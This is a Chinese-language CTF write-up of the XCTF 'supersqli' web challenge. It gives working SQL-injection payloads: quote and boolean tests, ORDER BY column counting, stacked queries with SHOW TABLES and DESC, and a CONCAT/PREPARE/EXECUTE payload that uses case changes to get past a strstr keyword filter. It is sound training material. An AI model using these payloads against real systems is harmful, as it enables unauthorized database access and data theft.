欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

XCTF-supersqli

程序员文章站 2022-05-15 21:38:02
...

题目描述随便注

XCTF-supersqli

打开链接,查看源码

XCTF-supersqli
XCTF-supersqli
看来没办法使用sqlmap了,采用手注⑧

判断是否存在sql注入漏洞

最为经典的一种判断方法是单引号判断法
即在参数后面加上单引号,如下

http://220.249.52.133:53805/?inject=1'

如果页面返回错误,则存在sql注入
原因是字符型或者是整型都会因为单引号个数不匹配而报错

尝试注入,的确存在注入漏洞
XCTF-supersqli

判断注入漏洞的类型

注入漏洞分为两种类型

  • 数字型
  • 字符型

数字型判断

数字型sql语句一般如下

select * from <table_name> where inject =  x

可以通过and 1=1 和 and 1=2进行判断

  • 在url中输入
http://220.249.52.133:53805/?inject=1 and 1=1

返回正常,接着下一步
XCTF-supersqli

  • 在url中输入
http://220.249.52.133:53805/?inject=1 and 1=2

如果返回错误,即说明为数字型注入

尝试后发现仍然正常,说明该处不是数字型注入
XCTF-supersqli
解释一下
如果为数字型注入,当输入and 1=1时,执行的sql语句如下

select * from <table_name> where inject=1 and 1=1

无语法错误且逻辑判断为真,返回正常

当输入and 1=2时,执行的sql语句如下

select * from <table_name> where inject=1 and 1=2

无语法错误但逻辑判断为假,返回错误

如果此题为字符型注入,产生的sql语句如下

select * from <table_name> where inject= '1 and 1=1'
select * from <table_name> where inject= '1 and 1=2'

这样的话并不会进行and的逻辑判断,所以这道题应该是字符型注入

字符型判断

字符型sql语句一般如下

select * from <table_name> where inject =  'x'

可以通过and ‘1’='1 和 and ‘1’='2进行判断

  • 在url中输入
http://220.249.52.133:53805/?inject=1' and '1'='1

返回正常,接着下一步
XCTF-supersqli

  • 在url中输入
http://220.249.52.133:53805/?inject=1' and '1'='2

返回错误,该题为字符型注入
XCTF-supersqli

获取列数

输入1' order by 1#,即表示 所select的字段按第一个字段排序
正常
XCTF-supersqli
输入1' order by 2#,正常

XCTF-supersqli
输入1' order by 3#,报错
XCTF-supersqli
得出这张表只有两个字段,数据为两列

尝试联合查询

union运算符可以将两个或两个以上的select语句的查询结果集合合并成一个结果集显示,即执行联合查询。需要注意的使用union查询的时候需要和主查询语句的列数相同,刚才我们查询得出列数为2
输入1' union select database(),user()#

  • database()会返回当前网站所使用的数据库名字
  • user()会返回执行当前查询的用户名

结果如下
XCTF-supersqli
发现这里过滤了一些语句,无法再进行查询了

堆叠注入绕过过滤

堆叠注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。
我们尝试查询所有的表名
输入1';show tables#
XCTF-supersqli
可以发现这里有两张表,分别再查询两张表中的列
通过desc table_name语句可以查询一张表中的所有字段
输入1';desc `1919810931114514`#,注意这里为反引号
XCTF-supersqli
输入1';desc `words`#
XCTF-supersqli
很显然,flag在第一张表中

查询flag

这里采用的是预编译的方式
介绍一下预编译的语法

PREPARE stmt_name FROM preparable_stmt

EXECUTE stmt_name
 [USING @var_name [, @var_name] ...] -

{DEALLOCATE | DROP} PREPARE stmt_name

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

举个例

mysql> PREPARE stmt FROM 'SELECT ?+?';
Query OK, 0 rows affected (0.01 sec)
Statement prepared

mysql> SET @a=1, @b=10 ;
Query OK, 0 rows affected (0.00 sec)

mysql> EXECUTE stmt USING @a, @b;

+-----+
| ?+? |
+-----+
| 11  |
+-----+

我们已经了解了预编译的用法,接下来再使用堆叠注入
这里采用了CONCAT来绕过select的过滤
payload为

1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

发现这里还过滤了set以及prepare
XCTF-supersqli
需要注意的一点是这里使用了strstr对set和prepare关键字进行了检查,但是strstr检查不对大小写进行检查,所以这里可以通过大小写绕过,set和prepare关键字只要有一个是大写就可以绕过

1';set @sql = CONCAT('Sele','ct * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

得到flag如下
XCTF-supersqli

相关标签: CTF-Web入门

推荐阅读